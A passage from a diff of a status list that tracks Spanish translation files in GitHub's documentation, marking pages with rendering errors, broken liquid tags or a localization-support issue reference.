 translations/es-ES/content/get-started/quickstart/git-and-github-learning-resources.md,Listed in localization-support#489
-translations/es-ES/content/get-started/quickstart/git-and-github-learning-resources.md,rendering error
 translations/es-ES/content/get-started/quickstart/github-flow.md,Listed in localization-support#489
-translations/es-ES/content/get-started/quickstart/github-flow.md,rendering error
-translations/es-ES/content/get-started/quickstart/index.md,rendering error
-translations/es-ES/content/get-started/quickstart/set-up-git.md,rendering error
-translations/es-ES/content/get-started/signing-up-for-github/index.md,rendering error
-translations/es-ES/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-ae.md,rendering error
-translations/es-ES/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud.md,rendering error
-translations/es-ES/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server.md,rendering error
-translations/es-ES/content/get-started/signing-up-for-github/verifying-your-email-address.md,rendering error
+translations/es-ES/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud.md,broken liquid tags
+translations/es-ES/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server.md,broken liquid tags
 translations/es-ES/content/get-started/using-git/about-git-rebase.md,Listed in localization-support#489
-translations/es-ES/content/get-started/using-git/about-git-rebase.md,rendering error
-translations/es-ES/content/get-started/using-git/about-git-subtree-merges.md,rendering error
-translations/es-ES/content/get-started/using-git/about-git.md,rendering error
 translations/es-ES/content/get-started/using-git/getting-changes-from-a-remote-repository.md,Listed in localization-support#489
-translations/es-ES/content/get-started/using-git/getting-changes-from-a-remote-repository.md,rendering error
-translations/es-ES/content/get-started/using-git/index.md,rendering error
 translations/es-ES/content/get-started/using-git/pushing-commits-to-a-remote-repository.md,Listed in localization-support#489
-translations/es-ES/content/get-started/using-git/pushing-commits-to-a-remote-repository.md,rendering error
 translations/es-ES/content/get-started/using-git/resolving-merge-conflicts-after-a-git-rebase.md,Listed in localization-support#489
-translations/es-ES/content/get-started/using-git/resolving-merge-conflicts-after-a-git-rebase.md,rendering error
-translations/es-ES/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md,rendering error
-translations/es-ES/content/get-started/using-git/using-git-rebase-on-the-command-line.md,rendering error
 translations/es-ES/content/get-started/using-github/github-command-palette.md,Listed in localization-support#489
-translations/es-ES/content/get-started/using-github/github-command-palette.md,rendering error
-translations/es-ES/content/get-started/using-github/github-mobile.md,rendering error
-translations/es-ES/content/get-started/using-github/index.md,rendering error
 translations/es-ES/content/get-started/using-github/keyboard-shortcuts.md,Listed in localization-support#489
-translations/es-ES/content/get-started/using-github/keyboard-shortcuts.md,rendering error
-translations/es-ES/content/get-started/using-github/supported-browsers.md,rendering error
-translations/es-ES/content/github-cli/github-cli/creating-github-cli-extensions.md,rendering error
 translations/es-ES/content/github-cli/github-cli/github-cli-reference.md,Listed in localization-support#489
-translations/es-ES/content/github-cli/github-cli/github-cli-reference.md,rendering error
-translations/es-ES/content/github/copilot/github-copilot-telemetry-terms.md,rendering error
 translations/es-ES/content/github/copilot/index.md,Listed in localization-support#489
-translations/es-ES/content/github/copilot/index.md,rendering error
-translations/es-ES/content/github/customizing-your-github-workflow/exploring-integrations/about-github-marketplace.md,rendering error
-translations/es-ES/content/github/customizing-your-github-workflow/exploring-integrations/about-integrations.md,rendering error
-translations/es-ES/content/github/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations.md,rendering error
-translations/es-ES/content/github/extending-github/about-webhooks.md,rendering error
-translations/es-ES/content/github/extending-github/getting-started-with-the-api.md,rendering error
-translations/es-ES/content/github/extending-github/git-automation-with-oauth-tokens.md,rendering error
-translations/es-ES/content/github/extending-github/index.md,rendering error
-translations/es-ES/content/github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line.md,rendering error
-translations/es-ES/content/github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-git-repository-using-the-command-line.md,rendering error
-translations/es-ES/content/github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer.md,rendering error
-translations/es-ES/content/github/importing-your-projects-to-github/importing-source-code-to-github/index.md,rendering error
-translations/es-ES/content/github/importing-your-projects-to-github/importing-source-code-to-github/source-code-migration-tools.md,rendering error
-translations/es-ES/content/github/importing-your-projects-to-github/index.md,rendering error
-translations/es-ES/content/github/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git.md,rendering error
+translations/es-ES/content/github/customizing-your-github-workflow/exploring-integrations/about-github-marketplace.md,broken liquid tags
 translations/es-ES/content/github/index.md,Listed in localization-support#489
-translations/es-ES/content/github/index.md,rendering error
 translations/es-ES/content/github/site-policy/coordinated-disclosure-of-security-vulnerabilities.md,Listed in localization-support#489
-translations/es-ES/content/github/site-policy/coordinated-disclosure-of-security-vulnerabilities.md,rendering error
-translations/es-ES/content/github/site-policy/dmca-takedown-policy.md,rendering error
 translations/es-ES/content/github/site-policy/github-bug-bounty-program-legal-safe-harbor.md,Listed in localization-support#489
-translations/es-ES/content/github/site-policy/github-bug-bounty-program-legal-safe-harbor.md,rendering error
-translations/es-ES/content/github/site-policy/github-community-guidelines.md,rendering error
-translations/es-ES/content/github/site-policy/github-data-protection-agreement.md,rendering error
-translations/es-ES/content/github/site-policy/github-logo-policy.md,rendering error
-translations/es-ES/content/github/site-policy/github-privacy-statement.md,rendering error
-translations/es-ES/content/github/site-policy/github-subprocessors-and-cookies.md,rendering error
 translations/es-ES/content/github/site-policy/github-terms-for-additional-products-and-features.md,Listed in localization-support#489
-translations/es-ES/content/github/site-policy/github-terms-for-additional-products-and-features.md,rendering error
-translations/es-ES/content/github/site-policy/github-terms-of-service.md,rendering error
-translations/es-ES/content/github/site-policy/github-username-policy.md,rendering error
-translations/es-ES/content/github/site-policy/global-privacy-practices.md,rendering error
-translations/es-ES/content/github/site-policy/guide-to-submitting-a-dmca-counter-notice.md,rendering error
-translations/es-ES/content/github/site-policy/guide-to-submitting-a-dmca-takedown-notice.md,rendering error
-translations/es-ES/content/github/site-policy/guidelines-for-legal-requests-of-user-data.md,rendering error
 translations/es-ES/content/github/site-policy/index.md,Listed in localization-support#489
-translations/es-ES/content/github/site-policy/index.md,rendering error
-translations/es-ES/content/github/working-with-github-support/about-github-premium-support-for-github-enterprise-cloud.md,rendering error
+translations/es-ES/content/github/working-with-github-support/about-github-premium-support-for-github-enterprise-cloud.md,broken liquid tags
 translations/es-ES/content/github/working-with-github-support/about-github-support.md,Listed in localization-support#489
-translations/es-ES/content/github/working-with-github-support/about-github-support.md,rendering error
 translations/es-ES/content/github/working-with-github-support/github-enterprise-cloud-support.md,Listed in localization-support#489
-translations/es-ES/content/github/working-with-github-support/github-enterprise-cloud-support.md,rendering error
 translations/es-ES/content/github/working-with-github-support/submitting-a-ticket.md,Listed in localization-support#489
-translations/es-ES/content/github/working-with-github-support/submitting-a-ticket.md,rendering error
-translations/es-ES/content/github/writing-on-github/editing-and-sharing-content-with-gists/creating-gists.md,rendering error
-translations/es-ES/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md,rendering error
-translations/es-ES/content/github/writing-on-github/editing-and-sharing-content-with-gists/index.md,rendering error
 translations/es-ES/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md,Listed in localization-support#489
-translations/es-ES/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md,rendering error
-translations/es-ES/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/index.md,rendering error
-translations/es-ES/content/github/writing-on-github/index.md,rendering error
-translations/es-ES/content/github/writing-on-github/working-with-advanced-formatting/attaching-files.md,rendering error
-translations/es-ES/content/github/writing-on-github/working-with-advanced-formatting/index.md,rendering error
-translations/es-ES/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md,rendering error
-translations/es-ES/content/github/writing-on-github/working-with-saved-replies/editing-a-saved-reply.md,rendering error
-translations/es-ES/content/graphql/guides/index.md,rendering error
-translations/es-ES/content/graphql/guides/managing-enterprise-accounts.md,rendering error
-translations/es-ES/content/graphql/guides/migrating-graphql-global-node-ids.md,rendering error
-translations/es-ES/content/graphql/index.md,rendering error
 translations/es-ES/content/graphql/overview/breaking-changes.md,Listed in localization-support#489
-translations/es-ES/content/graphql/overview/breaking-changes.md,rendering error
 translations/es-ES/content/index.md,Listed in localization-support#489
-translations/es-ES/content/index.md,rendering error
-translations/es-ES/content/issues/guides.md,rendering error
 translations/es-ES/content/issues/tracking-your-work-with-issues/about-task-lists.md,Listed in localization-support#489
-translations/es-ES/content/issues/tracking-your-work-with-issues/about-task-lists.md,rendering error
 translations/es-ES/content/issues/tracking-your-work-with-issues/creating-an-issue.md,Listed in localization-support#489
-translations/es-ES/content/issues/tracking-your-work-with-issues/creating-an-issue.md,rendering error
-translations/es-ES/content/issues/tracking-your-work-with-issues/deleting-an-issue.md,rendering error
 translations/es-ES/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md,Listed in localization-support#489
-translations/es-ES/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md,rendering error
 translations/es-ES/content/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue.md,Listed in localization-support#489
-translations/es-ES/content/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue.md,rendering error
-translations/es-ES/content/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository.md,rendering error
-translations/es-ES/content/issues/tracking-your-work-with-issues/viewing-all-of-your-issues-and-pull-requests.md,rendering error
-translations/es-ES/content/issues/trying-out-the-new-projects-experience/about-projects.md,rendering error
-translations/es-ES/content/issues/trying-out-the-new-projects-experience/automating-projects.md,rendering error
-translations/es-ES/content/issues/trying-out-the-new-projects-experience/best-practices-for-managing-projects.md,rendering error
-translations/es-ES/content/issues/trying-out-the-new-projects-experience/creating-a-project.md,rendering error
-translations/es-ES/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md,rendering error
-translations/es-ES/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md,rendering error
-translations/es-ES/content/issues/trying-out-the-new-projects-experience/quickstart.md,rendering error
-translations/es-ES/content/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects.md,rendering error
 translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md,Listed in localization-support#489
-translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md,rendering error
-translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md,rendering error
-translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization.md,rendering error
-translations/es-ES/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md,rendering error
-translations/es-ES/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/index.md,rendering error
-translations/es-ES/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/managing-bots-and-service-accounts-with-saml-single-sign-on.md,rendering error
-translations/es-ES/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md,rendering error
-translations/es-ES/content/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization.md,rendering error
 translations/es-ES/content/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization.md,Listed in localization-support#489
-translations/es-ES/content/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization.md,rendering error
-translations/es-ES/content/organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization.md,rendering error
-translations/es-ES/content/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization.md,rendering error
 translations/es-ES/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md,Listed in localization-support#489
-translations/es-ES/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md,rendering error
-translations/es-ES/content/organizations/managing-access-to-your-organizations-apps/adding-github-app-managers-in-your-organization.md,rendering error
-translations/es-ES/content/organizations/managing-access-to-your-organizations-apps/removing-github-app-managers-from-your-organization.md,rendering error
 translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization.md,Listed in localization-support#489
-translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization.md,rendering error
-translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/converting-an-organization-member-to-an-outside-collaborator.md,rendering error
-translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/converting-an-outside-collaborator-to-an-organization-member.md,rendering error
-translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository.md,rendering error
-translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository.md,rendering error
-translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/reinstating-a-former-outside-collaborators-access-to-your-organization.md,rendering error
+translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/converting-an-organization-member-to-an-outside-collaborator.md,broken liquid tags
 translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization.md,Listed in localization-support#489
-translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization.md,rendering error
-translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization.md,rendering error
 translations/es-ES/content/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities.md,Listed in localization-support#489
-translations/es-ES/content/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities.md,rendering error
-translations/es-ES/content/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization.md,rendering error
 translations/es-ES/content/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization.md,Listed in localization-support#489
-translations/es-ES/content/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization.md,rendering error
 translations/es-ES/content/organizations/managing-membership-in-your-organization/index.md,Listed in localization-support#489
-translations/es-ES/content/organizations/managing-membership-in-your-organization/index.md,rendering error
 translations/es-ES/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md,Listed in localization-support#489
-translations/es-ES/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md,rendering error
-translations/es-ES/content/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization.md,rendering error
-translations/es-ES/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md,rendering error
-translations/es-ES/content/organizations/managing-organization-settings/allowing-people-to-delete-issues-in-your-organization.md,rendering error
-translations/es-ES/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md,rendering error
 translations/es-ES/content/organizations/managing-organization-settings/converting-an-organization-into-a-user.md,Listed in localization-support#489
-translations/es-ES/content/organizations/managing-organization-settings/converting-an-organization-into-a-user.md,rendering error
-translations/es-ES/content/organizations/managing-organization-settings/deleting-an-organization-account.md,rendering error
-translations/es-ES/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md,rendering error
-translations/es-ES/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md,rendering error
 translations/es-ES/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md,Listed in localization-support#489
-translations/es-ES/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md,rendering error
 translations/es-ES/content/organizations/managing-organization-settings/renaming-an-organization.md,Listed in localization-support#489
-translations/es-ES/content/organizations/managing-organization-settings/renaming-an-organization.md,rendering error
-translations/es-ES/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md,rendering error
 translations/es-ES/content/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization.md,Listed in localization-support#489
-translations/es-ES/content/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization.md,rendering error
-translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/index.md,rendering error
 translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization.md,Listed in localization-support#489
-translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization.md,rendering error
 translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization.md,Listed in localization-support#489
-translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization.md,rendering error
-translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on.md,rendering error
-translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/about-scim.md,rendering error
-translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/accessing-your-organization-if-your-identity-provider-is-unavailable.md,rendering error
-translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md,rendering error
-translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization.md,rendering error
-translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/downloading-your-organizations-saml-single-sign-on-recovery-codes.md,rendering error
-translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization.md,rendering error
-translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization.md,rendering error
-translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md,rendering error
-translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md,rendering error
-translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization.md,rendering error
-translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md,rendering error
-translations/es-ES/content/organizations/migrating-to-improved-organization-permissions/converting-an-admin-team-to-improved-organization-permissions.md,rendering error
-translations/es-ES/content/organizations/migrating-to-improved-organization-permissions/migrating-admin-teams-to-improved-organization-permissions.md,rendering error
-translations/es-ES/content/organizations/organizing-members-into-teams/about-teams.md,rendering error
-translations/es-ES/content/organizations/organizing-members-into-teams/creating-a-team.md,rendering error
+translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization.md,broken liquid tags
+translations/es-ES/content/organizations/organizing-members-into-teams/about-teams.md,broken liquid tags
 translations/es-ES/content/organizations/organizing-members-into-teams/index.md,Listed in localization-support#489
-translations/es-ES/content/organizations/organizing-members-into-teams/index.md,rendering error
 translations/es-ES/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md,Listed in localization-support#489
-translations/es-ES/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md,rendering error
-translations/es-ES/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md,rendering error
-translations/es-ES/content/packages/learn-github-packages/about-permissions-for-github-packages.md,rendering error
-translations/es-ES/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md,rendering error
 translations/es-ES/content/packages/learn-github-packages/deleting-and-restoring-a-package.md,Listed in localization-support#489
-translations/es-ES/content/packages/learn-github-packages/deleting-and-restoring-a-package.md,rendering error
-translations/es-ES/content/packages/learn-github-packages/installing-a-package.md,rendering error
-translations/es-ES/content/packages/learn-github-packages/introduction-to-github-packages.md,rendering error
-translations/es-ES/content/packages/learn-github-packages/publishing-a-package.md,rendering error
-translations/es-ES/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md,rendering error
-translations/es-ES/content/packages/quickstart.md,rendering error
-translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md,rendering error
-translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md,rendering error
-translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md,rendering error
-translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md,rendering error
-translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md,rendering error
-translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md,rendering error
+translations/es-ES/content/packages/learn-github-packages/introduction-to-github-packages.md,broken liquid tags
+translations/es-ES/content/packages/learn-github-packages/publishing-a-package.md,broken liquid tags
+translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md,broken liquid tags
+translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md,broken liquid tags
+translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md,broken liquid tags
+translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md,broken liquid tags
+translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md,broken liquid tags
+translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md,broken liquid tags
 translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md,Listed in localization-support#489
-translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md,rendering error
 translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/index.md,Listed in localization-support#489
-translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/index.md,rendering error
 translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site.md,Listed in localization-support#489
-translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site.md,rendering error
 translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages.md,Listed in localization-support#489
-translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages.md,rendering error
 translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages.md,Listed in localization-support#489
-translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages.md,rendering error
 translations/es-ES/content/pages/getting-started-with-github-pages/about-github-pages.md,Listed in localization-support#489
-translations/es-ES/content/pages/getting-started-with-github-pages/about-github-pages.md,rendering error
-translations/es-ES/content/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site.md,rendering error
-translations/es-ES/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md,rendering error
-translations/es-ES/content/pages/index.md,rendering error
-translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md,rendering error
 translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md,Listed in localization-support#489
-translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md,rendering error
-translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/index.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/index.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/index.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/index.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/working-with-pre-receive-hooks.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/working-with-pre-receive-hooks.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/getting-started/index.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/getting-started/index.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/adding-a-pull-request-to-the-merge-queue.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/adding-a-pull-request-to-the-merge-queue.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/index.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/index.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/reverting-a-pull-request.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/reverting-a-pull-request.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/index.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/index.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork.md,Listed in localization-support#489
